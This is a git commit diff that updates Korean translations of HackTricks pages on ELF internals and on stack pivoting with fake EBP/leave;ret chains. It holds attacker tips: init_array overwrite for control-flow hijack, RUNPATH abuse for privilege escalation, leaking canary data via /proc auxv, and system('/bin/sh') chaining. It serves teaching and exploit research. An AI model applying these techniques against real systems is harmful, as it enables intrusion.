mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met
This commit is contained in:
parent
c9f2001b71
commit
a852968604
@ -881,7 +881,6 @@
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
|
@ -54,7 +54,7 @@ Segment Sections...
|
||||
이 헤더는 **바이너리를 메모리에 로드하는 방법**을 나타내는 데 사용됩니다.\
|
||||
각 **LOAD** 헤더는 **메모리**의 영역(크기, 권한 및 정렬)을 나타내고 ELF **바이너리에서 복사할 바이트**를 나타냅니다.
|
||||
|
||||
예를 들어, 두 번째 헤더는 크기가 0x1190이며, 0x1fc48에 위치해야 하고 읽기 및 쓰기 권한을 가지며 오프셋 0xfc48에서 0x528로 채워집니다(모든 예약된 공간을 채우지 않음). 이 메모리에는 섹션 `.init_array .fini_array .dynamic .got .data .bss`가 포함됩니다.
|
||||
예를 들어, 두 번째 헤더는 크기가 0x1190이며, 0x1fc48에 위치해야 하고 읽기 및 쓰기 권한을 가지며 오프셋 0xfc48에서 0x528로 채워집니다(모든 예약된 공간을 채우지 않습니다). 이 메모리에는 섹션 `.init_array .fini_array .dynamic .got .data .bss`가 포함됩니다.
|
||||
|
||||
### DYNAMIC
|
||||
|
||||
@ -64,7 +64,7 @@ Segment Sections...
|
||||
|
||||
이것은 바이너리에 대한 공급업체 메타데이터 정보를 저장합니다.
|
||||
|
||||
- x86-64에서 `readelf -n`은 `.note.gnu.property` 내에 `GNU_PROPERTY_X86_FEATURE_1_*` 플래그를 표시합니다. `IBT` 및/또는 `SHSTK`가 보이면, 바이너리는 CET(간접 분기 추적 및/또는 섀도 스택)으로 빌드되었습니다. 이는 ROP/JOP에 영향을 미치며, 간접 분기 대상은 `ENDBR64` 명령어로 시작해야 하고 반환은 섀도 스택에 대해 확인됩니다. 자세한 내용과 우회 노트는 CET 페이지를 참조하세요.
|
||||
- x86-64에서 `readelf -n`은 `.note.gnu.property` 내의 `GNU_PROPERTY_X86_FEATURE_1_*` 플래그를 표시합니다. `IBT` 및/또는 `SHSTK`가 보이면, 바이너리는 CET(간접 분기 추적 및/또는 섀도우 스택)으로 빌드되었습니다. 이는 ROP/JOP에 영향을 미치며, 간접 분기 대상은 `ENDBR64` 명령어로 시작해야 하고 반환은 섀도우 스택에 대해 확인됩니다. 자세한 내용과 우회 노트는 CET 페이지를 참조하세요.
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
@ -84,9 +84,9 @@ Segment Sections...
|
||||
|
||||
바이너리의 RELRO(재배치 읽기 전용) 구성을 나타냅니다. 이 보호는 프로그램이 로드된 후 실행되기 전에 메모리의 특정 섹션(예: `GOT` 또는 `init` 및 `fini` 테이블)을 읽기 전용으로 표시합니다.
|
||||
|
||||
이전 예제에서는 0x3b8 바이트를 0x1fc48로 읽기 전용으로 복사하여 섹션 `.init_array .fini_array .dynamic .got .data .bss`에 영향을 미칩니다.
|
||||
이전 예에서는 0x3b8 바이트를 0x1fc48로 읽기 전용으로 복사하여 섹션 `.init_array .fini_array .dynamic .got .data .bss`에 영향을 미칩니다.
|
||||
|
||||
RELRO는 부분적 또는 전체적일 수 있으며, 부분 버전은 **`.plt.got`** 섹션을 보호하지 않으며, 이는 **지연 바인딩**에 사용되며 라이브러리의 주소를 처음 검색할 때 이 메모리 공간에 **쓰기 권한**이 필요합니다.
|
||||
RELRO는 부분적 또는 전체적일 수 있으며, 부분 버전은 **지연 바인딩**에 사용되는 섹션 **`.plt.got`**를 보호하지 않으며, 라이브러리의 주소를 처음 검색할 때 이 메모리 공간에 **쓰기 권한**이 필요합니다.
|
||||
|
||||
> 익스플로잇 기술 및 최신 우회 노트에 대한 정보는 전용 페이지를 확인하세요:
|
||||
|
||||
@ -100,7 +100,7 @@ RELRO는 부분적 또는 전체적일 수 있으며, 부분 버전은 **`.plt.g
|
||||
|
||||
## 섹션 헤더
|
||||
|
||||
섹션 헤더는 ELF 바이너리에 대한 보다 자세한 정보를 제공합니다.
|
||||
섹션 헤더는 ELF 바이너리에 대한 보다 자세한 뷰를 제공합니다.
|
||||
```
|
||||
objdump lnstat -h
|
||||
|
||||
@ -161,26 +161,26 @@ CONTENTS, READONLY
|
||||
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
|
||||
CONTENTS, READONLY
|
||||
```
|
||||
It also indicates the location, offset, permissions but also the **데이터 유형** it section has.
|
||||
It also indicates the location, offset, permissions but also the **type of data** it section has.
|
||||
|
||||
### 메타 섹션
|
||||
### Meta Sections
|
||||
|
||||
- **문자열 테이블**: ELF 파일에 필요한 모든 문자열을 포함하고 있습니다(하지만 프로그램에서 실제로 사용되는 문자열은 아닙니다). 예를 들어, `.text` 또는 `.data`와 같은 섹션 이름을 포함합니다. 그리고 문자열 테이블에서 `.text`가 45의 오프셋에 있다면 **이름** 필드에 숫자 **45**를 사용합니다.
|
||||
- 문자열 테이블이 어디에 있는지 찾기 위해 ELF는 문자열 테이블에 대한 포인터를 포함합니다.
|
||||
- **심볼 테이블**: 이름(문자열 테이블의 오프셋), 주소, 크기 및 심볼에 대한 추가 메타데이터와 같은 심볼에 대한 정보를 포함합니다.
|
||||
- **String table**: ELF 파일에 필요한 모든 문자열을 포함하고 있습니다(하지만 프로그램에서 실제로 사용되는 문자열은 아닙니다). 예를 들어, `.text` 또는 `.data`와 같은 섹션 이름을 포함합니다. 그리고 만약 `.text`가 문자열 테이블에서 오프셋 45에 있다면, **name** 필드에서 숫자 **45**를 사용할 것입니다.
|
||||
- 문자열 테이블이 어디에 있는지 찾기 위해, ELF는 문자열 테이블에 대한 포인터를 포함합니다.
|
||||
- **Symbol table**: 이름(문자열 테이블의 오프셋), 주소, 크기 및 기호에 대한 더 많은 메타데이터와 같은 기호에 대한 정보를 포함합니다.
|
||||
|
||||
### 주요 섹션
|
||||
### Main Sections
|
||||
|
||||
- **`.text`**: 실행할 프로그램의 명령어입니다.
|
||||
- **`.data`**: 프로그램에서 정의된 값을 가진 전역 변수입니다.
|
||||
- **`.bss`**: 초기화되지 않은 전역 변수(또는 0으로 초기화됨). 여기의 변수는 자동으로 0으로 초기화되므로 이진 파일에 쓸모없는 0이 추가되는 것을 방지합니다.
|
||||
- **`.bss`**: 초기화되지 않은 전역 변수(또는 0으로 초기화됨)입니다. 여기의 변수는 자동으로 0으로 초기화되므로 이진 파일에 쓸모없는 0이 추가되는 것을 방지합니다.
|
||||
- **`.rodata`**: 상수 전역 변수(읽기 전용 섹션)입니다.
|
||||
- **`.tdata`** 및 **`.tbss`**: 스레드 로컬 변수가 사용될 때 .data 및 .bss와 같습니다(`__thread_local` in C++ 또는 `__thread` in C).
|
||||
- **`.dynamic`**: 아래를 참조하십시오.
|
||||
|
||||
## 심볼
|
||||
## Symbols
|
||||
|
||||
심볼은 프로그램 내의 명명된 위치로, 함수, 전역 데이터 객체, 스레드 로컬 변수 등이 될 수 있습니다.
|
||||
Symbols는 프로그램 내의 이름이 있는 위치로, 함수, 전역 데이터 객체, 스레드 로컬 변수 등이 될 수 있습니다.
|
||||
```
|
||||
readelf -s lnstat
|
||||
|
||||
@ -204,7 +204,7 @@ Num: Value Size Type Bind Vis Ndx Name
|
||||
각 심볼 항목은 다음을 포함합니다:
|
||||
|
||||
- **이름**
|
||||
- **바인딩 속성** (약한, 로컬 또는 글로벌): 로컬 심볼은 프로그램 자체에서만 접근할 수 있으며, 글로벌 심볼은 프로그램 외부에서 공유됩니다. 약한 객체는 예를 들어 다른 함수로 재정의될 수 있는 함수입니다.
|
||||
- **바인딩 속성** (약한, 로컬 또는 글로벌): 로컬 심볼은 프로그램 자체에서만 접근할 수 있으며, 글로벌 심볼은 프로그램 외부에서 공유됩니다. 약한 객체는 예를 들어 다른 함수에 의해 재정의될 수 있는 함수입니다.
|
||||
- **유형**: NOTYPE (유형 지정되지 않음), OBJECT (글로벌 데이터 변수), FUNC (함수), SECTION (섹션), FILE (디버거용 소스 코드 파일), TLS (스레드 로컬 변수), GNU_IFUNC (재배치를 위한 간접 함수)
|
||||
- **섹션** 인덱스 (위치)
|
||||
- **값** (메모리 내 주소)
|
||||
@ -249,24 +249,24 @@ Tag Type Name/Value
|
||||
0x000000006ffffff9 (RELACOUNT) 15
|
||||
0x0000000000000000 (NULL) 0x0
|
||||
```
|
||||
The NEEDED directory indicates that the program **필요한 라이브러리를 로드해야 함**을 나타냅니다. NEEDED 디렉토리는 공유 **라이브러리가 완전히 작동하고 준비되었을 때** 완료됩니다.
|
||||
NEEDED 디렉토리는 프로그램이 계속 진행하기 위해 **언급된 라이브러리를 로드해야 함**을 나타냅니다. NEEDED 디렉토리는 공유 **라이브러리가 완전히 작동하고 사용 준비가 되었을 때** 완료됩니다.
|
||||
|
||||
### 동적 로더 검색 순서 (RPATH/RUNPATH, $ORIGIN)
|
||||
|
||||
항목 `DT_RPATH` (사용 중단) 및/또는 `DT_RUNPATH`는 동적 로더가 종속성을 검색하는 위치에 영향을 미칩니다. 대략적인 순서:
|
||||
항목 `DT_RPATH` (사용 중단됨) 및/또는 `DT_RUNPATH`는 동적 로더가 종속성을 검색하는 위치에 영향을 미칩니다. 대략적인 순서:
|
||||
|
||||
- `LD_LIBRARY_PATH` (setuid/sgid 또는 기타 "보안 실행" 프로그램에 대해 무시됨)
|
||||
- `DT_RPATH` (단, `DT_RUNPATH`가 없을 경우)
|
||||
- `DT_RUNPATH`
|
||||
- `ld.so.cache`
|
||||
- 기본 디렉토리 예: `/lib64`, `/usr/lib64` 등.
|
||||
- `/lib64`, `/usr/lib64` 등과 같은 기본 디렉토리
|
||||
|
||||
`$ORIGIN`은 RPATH/RUNPATH 내에서 주요 객체의 디렉토리를 참조하는 데 사용될 수 있습니다. 공격자의 관점에서 이는 파일 시스템 레이아웃이나 환경을 제어할 때 중요합니다. 강화된 바이너리(AT_SECURE)의 경우 대부분의 환경 변수는 로더에 의해 무시됩니다.
|
||||
`$ORIGIN`은 RPATH/RUNPATH 내에서 주요 객체의 디렉토리를 참조하는 데 사용할 수 있습니다. 공격자의 관점에서 이는 파일 시스템 레이아웃이나 환경을 제어할 때 중요합니다. 강화된 바이너리(AT_SECURE)의 경우 대부분의 환경 변수는 로더에 의해 무시됩니다.
|
||||
|
||||
- 검사 방법: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
|
||||
- 빠른 테스트: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (검색 경로 결정 표시)
|
||||
|
||||
> Priv-esc 팁: 귀하가 소유한 쓰기 가능한 RUNPATH 또는 잘못 구성된 `$ORIGIN` 상대 경로를 악용하는 것을 선호하십시오. LD_PRELOAD/LD_AUDIT는 보안 실행(setuid) 컨텍스트에서 무시됩니다.
|
||||
> 권한 상승 팁: 귀하가 소유한 쓰기 가능한 RUNPATH 또는 잘못 구성된 `$ORIGIN` 상대 경로를 악용하는 것을 선호하십시오. LD_PRELOAD/LD_AUDIT는 보안 실행(setuid) 컨텍스트에서 무시됩니다.
|
||||
|
||||
## 재배치
|
||||
|
||||
@ -344,31 +344,31 @@ Offset Info Type Sym. Value Sym. Name + Addend
|
||||
```
|
||||
### 정적 재배치
|
||||
|
||||
프로그램이 **선호하는 주소**(보통 0x400000)와 다른 위치에 로드되면(주소가 이미 사용 중이거나 **ASLR** 또는 기타 이유로), 정적 재배치는 선호하는 주소에 바이너리가 로드될 것으로 예상했던 값을 가진 포인터를 **수정**합니다.
|
||||
프로그램이 선호하는 주소(보통 0x400000)와 다른 위치에 로드되면(주소가 이미 사용 중이거나 ASLR 또는 기타 이유로 인해) 정적 재배치는 선호하는 주소에 바이너리가 로드될 것으로 예상했던 값을 가진 포인터를 수정합니다.
|
||||
|
||||
예를 들어, `R_AARCH64_RELATIV` 유형의 섹션은 재배치 편향에 주소를 수정하고 추가 값(addend value)을 더해야 합니다.
|
||||
|
||||
### 동적 재배치 및 GOT
|
||||
|
||||
재배치는 외부 기호(종속성의 함수와 같은)를 참조할 수도 있습니다. 예를 들어, libC의 malloc 함수입니다. 그런 다음 로더는 libC를 로드할 때 malloc 함수가 로드된 주소를 확인하고, 이 주소를 GOT(전역 오프셋 테이블) 테이블에 기록합니다(재배치 테이블에 표시된 대로) 여기서 malloc의 주소가 지정되어야 합니다.
|
||||
재배치는 외부 기호(종속성의 함수와 같은)를 참조할 수도 있습니다. 예를 들어, libC의 malloc 함수입니다. 그런 다음 로더는 libC를 로드할 때 malloc 함수가 로드된 주소를 확인하고, 이 주소를 GOT(전역 오프셋 테이블) 테이블에 기록합니다(재배치 테이블에 표시됨).
|
||||
|
||||
### 프로시저 링크 테이블
|
||||
### 절차 링크 테이블
|
||||
|
||||
PLT 섹션은 지연 바인딩(lazy binding)을 수행할 수 있게 해주며, 이는 함수의 위치 해석이 처음 접근할 때 수행된다는 것을 의미합니다.
|
||||
PLT 섹션은 지연 바인딩을 수행할 수 있게 해주며, 이는 함수의 위치 해석이 처음 접근할 때 수행된다는 것을 의미합니다.
|
||||
|
||||
따라서 프로그램이 malloc을 호출할 때, 실제로는 PLT의 `malloc`에 해당하는 위치(`malloc@plt`)를 호출합니다. 처음 호출할 때 `malloc`의 주소를 해석하고 저장하므로 다음에 `malloc`이 호출될 때는 PLT 코드 대신 그 주소가 사용됩니다.
|
||||
따라서 프로그램이 malloc을 호출할 때, 실제로는 PLT의 `malloc`에 해당하는 위치를 호출합니다(`malloc@plt`). 처음 호출될 때 `malloc`의 주소를 해석하고 저장하므로 다음에 `malloc`이 호출될 때는 PLT 코드 대신 그 주소가 사용됩니다.
|
||||
|
||||
#### 익스플로잇에 영향을 미치는 현대 링크 동작
|
||||
|
||||
- `-z now` (전체 RELRO)는 지연 바인딩을 비활성화합니다; PLT 항목은 여전히 존재하지만 GOT/PLT는 읽기 전용으로 매핑되므로 **GOT 덮어쓰기** 및 **ret2dlresolve**와 같은 기술은 주요 바이너리에 대해 작동하지 않습니다(라이브러리는 여전히 부분적으로 RELRO일 수 있습니다). 참조:
|
||||
- `-z now` (전체 RELRO)는 지연 바인딩을 비활성화합니다. PLT 항목은 여전히 존재하지만 GOT/PLT는 읽기 전용으로 매핑되므로 **GOT 덮어쓰기** 및 **ret2dlresolve**와 같은 기술은 주요 바이너리에 대해 작동하지 않습니다(라이브러리는 여전히 부분적으로 RELRO일 수 있습니다). 참조:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
- `-fno-plt`는 컴파일러가 PLT 스텁을 거치지 않고 **GOT 항목을 직접** 통해 외부 함수를 호출하게 만듭니다. `call func@plt` 대신 `mov reg, [got]; call reg`와 같은 호출 시퀀스를 보게 될 것입니다. 이는 추측 실행 남용을 줄이고 PLT 스텁 주위의 ROP 가젯 탐색을 약간 변경합니다.
|
||||
- `-fno-plt`는 컴파일러가 PLT 스텁을 거치지 않고 **GOT 항목을 통해 외부 함수를 직접 호출**하게 만듭니다. `call func@plt` 대신 `mov reg, [got]; call reg`와 같은 호출 시퀀스를 보게 될 것입니다. 이는 추측 실행 남용을 줄이고 PLT 스텁 주위의 ROP 가젯 탐색을 약간 변경합니다.
|
||||
|
||||
- PIE vs static-PIE: PIE(ET_DYN 및 `INTERP` 포함)는 동적 로더가 필요하며 일반적인 PLT/GOT 기계 장치를 지원합니다. Static-PIE(ET_DYN 및 `INTERP` 없음)는 커널 로더에 의해 재배치가 적용되며 `ld.so`가 없습니다; 런타임에서 PLT 해석이 없을 것으로 예상됩니다.
|
||||
- PIE vs static-PIE: PIE(ET_DYN 및 `INTERP` 포함)는 동적 로더가 필요하며 일반적인 PLT/GOT 기계를 지원합니다. Static-PIE(ET_DYN 및 `INTERP` 없음)는 커널 로더에 의해 재배치가 적용되며 `ld.so`가 없습니다. 런타임에서 PLT 해석이 없을 것으로 예상됩니다.
|
||||
|
||||
> GOT/PLT가 옵션이 아닌 경우, 다른 쓰기 가능한 코드 포인터로 전환하거나 libc로 고전적인 ROP/SROP를 사용하십시오.
|
||||
|
||||
@ -378,7 +378,7 @@ PLT 섹션은 지연 바인딩(lazy binding)을 수행할 수 있게 해주며,
|
||||
|
||||
## 프로그램 초기화
|
||||
|
||||
프로그램이 로드된 후 실행할 시간입니다. 그러나 실행되는 첫 번째 코드는 항상 `main` 함수가 아닙니다. 예를 들어 C++에서 **전역 변수가 클래스의 객체**인 경우, 이 객체는 main이 실행되기 **전에** **초기화**되어야 합니다, 예를 들어:
|
||||
프로그램이 로드된 후 실행할 시간입니다. 그러나 실행되는 첫 번째 코드는 항상 `main` 함수가 아닙니다. 예를 들어 C++에서 **전역 변수가 클래스의 객체인 경우**, 이 객체는 main이 실행되기 **전에** **초기화**되어야 합니다.
|
||||
```cpp
|
||||
#include <stdio.h>
|
||||
// g++ autoinit.cpp -o autoinit
|
||||
@ -406,52 +406,52 @@ C 코드에서는 GNU 확장을 사용하여 동일한 결과를 얻을 수 있
|
||||
__attributte__((constructor)) //Add a constructor to execute before
|
||||
__attributte__((destructor)) //Add to the destructor list
|
||||
```
|
||||
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
|
||||
컴파일러 관점에서, `main` 함수가 실행되기 전과 후에 이러한 작업을 실행하기 위해 `init` 함수와 `fini` 함수를 생성할 수 있으며, 이는 동적 섹션에서 **`INIT`** 및 **`FIN`**으로 참조됩니다. 그리고 ELF의 `init` 및 `fini` 섹션에 배치됩니다.
|
||||
|
||||
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
|
||||
언급된 다른 옵션은 동적 섹션의 **`INIT_ARRAY`** 및 **`FINI_ARRAY`** 항목에서 **`__CTOR_LIST__`** 및 **`__DTOR_LIST__`** 목록을 참조하는 것입니다. 이들의 길이는 **`INIT_ARRAYSZ`** 및 **`FINI_ARRAYSZ`**로 표시됩니다. 각 항목은 인수 없이 호출될 함수 포인터입니다.
|
||||
|
||||
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
|
||||
또한, **`INIT_ARRAY`** 포인터 **이전**에 실행될 **포인터**가 있는 **`PREINIT_ARRAY`**를 가질 수도 있습니다.
|
||||
|
||||
#### Exploitation note
|
||||
#### 익스플로잇 노트
|
||||
|
||||
- Under Partial RELRO these arrays live in pages that are still writable before `ld.so` flips `PT_GNU_RELRO` to read-only. If you get an arbitrary write early enough or you can target a library’s writable arrays, you can hijack control flow by overwriting an entry with a function of your choice. Under Full RELRO they are read-only at runtime.
|
||||
- 부분 RELRO 하에서는 이러한 배열이 `ld.so`가 `PT_GNU_RELRO`를 읽기 전용으로 전환하기 전에 여전히 쓰기 가능한 페이지에 존재합니다. 충분히 이른 시점에 임의 쓰기를 얻거나 라이브러리의 쓰기 가능한 배열을 타겟팅할 수 있다면, 원하는 함수로 항목을 덮어써서 제어 흐름을 탈취할 수 있습니다. 전체 RELRO 하에서는 런타임에 읽기 전용입니다.
|
||||
|
||||
- For lazy binding abuse of the dynamic linker to resolve arbitrary symbols at runtime, see the dedicated page:
|
||||
- 런타임에 임의 기호를 해결하기 위해 동적 링커의 지연 바인딩 남용에 대한 내용은 전용 페이지를 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2dlresolve.md
|
||||
{{#endref}}
|
||||
|
||||
### Initialization Order
|
||||
### 초기화 순서
|
||||
|
||||
1. 프로그램이 메모리에 로드되고, 정적 전역 변수가 **`.data`**에서 초기화되며 초기화되지 않은 변수는 **`.bss`**에서 0으로 설정됩니다.
|
||||
2. 프로그램 또는 라이브러리의 모든 **종속성**이 **초기화**되고 **동적 링크**가 실행됩니다.
|
||||
3. **`PREINIT_ARRAY`** 함수가 실행됩니다.
|
||||
4. **`INIT_ARRAY`** 함수가 실행됩니다.
|
||||
5. **`INIT`** 항목이 있으면 호출됩니다.
|
||||
6. 라이브러리인 경우, dlopen이 여기서 끝나고, 프로그램인 경우 **실제 진입점**(`main` 함수)을 호출할 시간입니다.
|
||||
6. 라이브러리인 경우, dlopen은 여기서 끝나고, 프로그램인 경우 **실제 진입점**(`main` 함수)을 호출할 시간입니다.
|
||||
|
||||
## Thread-Local Storage (TLS)
|
||||
## 스레드 로컬 저장소 (TLS)
|
||||
|
||||
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
|
||||
C++에서 **`__thread_local`** 키워드 또는 GNU 확장 **`__thread`**를 사용하여 정의됩니다.
|
||||
|
||||
Each thread will maintain a unique location for this variable so only the thread can access its variable.
|
||||
각 스레드는 이 변수에 대해 고유한 위치를 유지하므로 오직 해당 스레드만 자신의 변수를 접근할 수 있습니다.
|
||||
|
||||
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
|
||||
이것이 사용될 때, ELF에서는 **`.tdata`** 및 **`.tbss`** 섹션이 사용됩니다. 이는 TLS를 위한 `.data` (초기화됨) 및 `.bss` (초기화되지 않음)와 유사합니다.
|
||||
|
||||
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
|
||||
각 변수는 TLS 헤더에 항목을 가지며, 크기와 TLS 오프셋을 지정합니다. 이는 스레드의 로컬 데이터 영역에서 사용할 오프셋입니다.
|
||||
|
||||
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
|
||||
`__TLS_MODULE_BASE`는 스레드 로컬 저장소의 기본 주소를 참조하는 데 사용되는 기호이며, 모듈의 모든 스레드 로컬 데이터를 포함하는 메모리 영역을 가리킵니다.
|
||||
|
||||
## Auxiliary Vector (auxv) and vDSO
|
||||
## 보조 벡터 (auxv) 및 vDSO
|
||||
|
||||
The Linux kernel passes an auxiliary vector to processes containing useful addresses and flags for the runtime:
|
||||
Linux 커널은 런타임에 유용한 주소와 플래그를 포함하는 보조 벡터를 프로세스에 전달합니다:
|
||||
|
||||
- `AT_RANDOM`: points to 16 random bytes used by glibc for the stack canary and other PRNG seeds.
|
||||
- `AT_SYSINFO_EHDR`: base address of the vDSO mapping (handy to find `__kernel_*` syscalls and gadgets).
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, etc.
|
||||
- `AT_RANDOM`: glibc가 스택 카나리 및 기타 PRNG 시드를 위해 사용하는 16바이트의 랜덤 바이트를 가리킵니다.
|
||||
- `AT_SYSINFO_EHDR`: vDSO 매핑의 기본 주소 (유용하게 `__kernel_*` 시스템 호출 및 가젯을 찾는 데 사용됨).
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ` 등.
|
||||
|
||||
As an attacker, if you can read memory or files under `/proc`, you can often leak these without an infoleak in the target process:
|
||||
공격자로서, `/proc` 아래의 메모리나 파일을 읽을 수 있다면, 대상 프로세스에서 정보 유출 없이 종종 이러한 정보를 유출할 수 있습니다:
|
||||
```bash
|
||||
# Show the auxv of a running process
|
||||
cat /proc/$(pidof target)/auxv | xxd
|
||||
@ -464,7 +464,7 @@ printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
|
||||
printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
|
||||
}
|
||||
```
|
||||
`AT_RANDOM`를 누출하면 해당 포인터를 역참조할 수 있다면 카나리 값을 얻을 수 있습니다; `AT_SYSINFO_EHDR`는 가젯을 찾거나 빠른 시스템 호출을 직접 호출하기 위한 vDSO 기반을 제공합니다.
|
||||
`AT_RANDOM`을 누출하면 해당 포인터를 역참조할 수 있다면 카나리 값을 얻을 수 있습니다; `AT_SYSINFO_EHDR`는 가젯을 찾거나 빠른 시스템 호출을 직접 호출하기 위한 vDSO 베이스를 제공합니다.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
이 기술은 **기본 포인터 (EBP/RBP)**를 조작하여 프레임 포인터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 체인하는 능력을 이용합니다.
|
||||
이 기술은 **기본 포인터 (EBP/RBP)**를 조작하여 프레임 포인터와 **`leave; ret`** 명령어 시퀀스를 신중하게 사용하여 여러 함수의 실행을 연결하는 능력을 이용합니다.
|
||||
|
||||
상기 사항으로, x86/x86-64에서 **`leave`**는 다음과 같습니다:
|
||||
```
|
||||
@ -16,15 +16,15 @@ And as the saved **EBP/RBP는 스택에** 저장된 EIP/RIP 앞에 있기 때문
|
||||
|
||||
> Notes
|
||||
> - 64비트에서는 EBP→RBP 및 ESP→RSP로 교체합니다. 의미는 동일합니다.
|
||||
> - 일부 컴파일러는 프레임 포인터를 생략합니다(“EBP가 사용되지 않을 수 있음” 참조). 이 경우 `leave`가 나타나지 않을 수 있으며 이 기술은 작동하지 않습니다.
|
||||
> - 일부 컴파일러는 프레임 포인터를 생략합니다(“EBP가 사용되지 않을 수 있음” 참조). 이 경우, `leave`가 나타나지 않을 수 있으며 이 기술은 작동하지 않습니다.
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
이 기술은 **저장된 EBP/RBP를 변경할 수 있지만 EIP/RIP를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수 종료 동작을 활용합니다.
|
||||
|
||||
`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드/ROP 체인 주소가 있는 메모리 영역을 가리키게 하면(amd64에서는 8바이트, x86에서는 4바이트를 더하여 `pop`을 고려), 간접적으로 RIP를 제어할 수 있습니다. 함수가 반환되면 `leave`가 RSP를 조작된 위치로 설정하고, 이후 `pop rbp`가 RSP를 감소시켜 **공격자가 그곳에 저장한 주소를 가리키게 합니다**. 그런 다음 `ret`은 그 주소를 사용합니다.
|
||||
`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드/ROP 체인 주소가 있는 메모리 영역을 가리키게 하면(amd64에서는 8바이트, x86에서는 4바이트를 더하여 `pop`을 고려), 간접적으로 RIP를 제어할 수 있습니다. 함수가 반환되면, `leave`가 RSP를 조작된 위치로 설정하고 이후의 `pop rbp`가 RSP를 감소시켜 **공격자가 그곳에 저장한 주소를 가리키게 합니다**. 그런 다음 `ret`은 그 주소를 사용합니다.
|
||||
|
||||
**2개의 주소를 알아야 한다는 점에 유의하세요**: ESP/RSP가 이동할 주소와 `ret`이 사용할 그 주소에 저장된 값입니다.
|
||||
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP/RSP가 이동할 주소와 `ret`이 사용할 그 주소에 저장된 값입니다.
|
||||
|
||||
#### Exploit Construction
|
||||
|
||||
@ -33,9 +33,9 @@ And as the saved **EBP/RBP는 스택에** 저장된 EIP/RIP 앞에 있기 때문
|
||||
그런 다음, **실행을 전송할** `ret`에서 사용할 주소를 선택해야 합니다. 다음을 사용할 수 있습니다:
|
||||
|
||||
- 유효한 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 주소.
|
||||
- 적절한 반환 및 인수 뒤에 오는 **`system()`**의 주소(x86에서는 `ret` 대상 = `&system`, 그 다음 4개의 쓰레기 바이트, 그 다음 `&"/bin/sh"`).
|
||||
- 인라인 쉘코드 뒤에 오는 **`jmp esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)).
|
||||
- 쓰기 가능한 메모리에 스테이징된 [**ROP**](../rop-return-oriented-programing/index.html) 체인.
|
||||
- **`system()`**의 주소와 적절한 반환 및 인수(예: x86에서는 `ret` 대상 = `&system`, 그 다음 4개의 쓰레기 바이트, 그 다음 `&"/bin/sh"`).
|
||||
- **`jmp esp;`** 가젯의 주소([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))와 인라인 쉘코드.
|
||||
- 쓰기 가능한 메모리에 스테이지된 [**ROP**](../rop-return-oriented-programing/index.html) 체인.
|
||||
|
||||
이러한 주소들 앞에는 **`leave`에서의 `pop ebp/rbp`를 위한 공간**이 있어야 합니다(amd64에서는 8B, x86에서는 4B). 이러한 바이트를 악용하여 **두 번째 가짜 EBP**를 설정하고 첫 번째 호출이 반환된 후에도 제어를 유지할 수 있습니다.
|
||||
|
||||
@ -53,14 +53,14 @@ And as the saved **EBP/RBP는 스택에** 저장된 EIP/RIP 앞에 있기 때문
|
||||
|
||||
- `&(다음 가짜 EBP)` -> `leave`에서 `pop ebp/rbp`로 로드됩니다.
|
||||
- `&system()` -> `ret`에 의해 호출됩니다.
|
||||
- `&(leave;ret)` -> `system`이 끝난 후 RSP를 다음 가짜 EBP로 이동하고 계속합니다.
|
||||
- `&("/bin/sh")` -> `system`의 인수입니다.
|
||||
- `&(leave;ret)` -> `system`이 끝난 후, RSP를 다음 가짜 EBP로 이동하고 계속합니다.
|
||||
- `&("/bin/sh")` -> `system`의 인수.
|
||||
|
||||
이렇게 하면 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
|
||||
|
||||
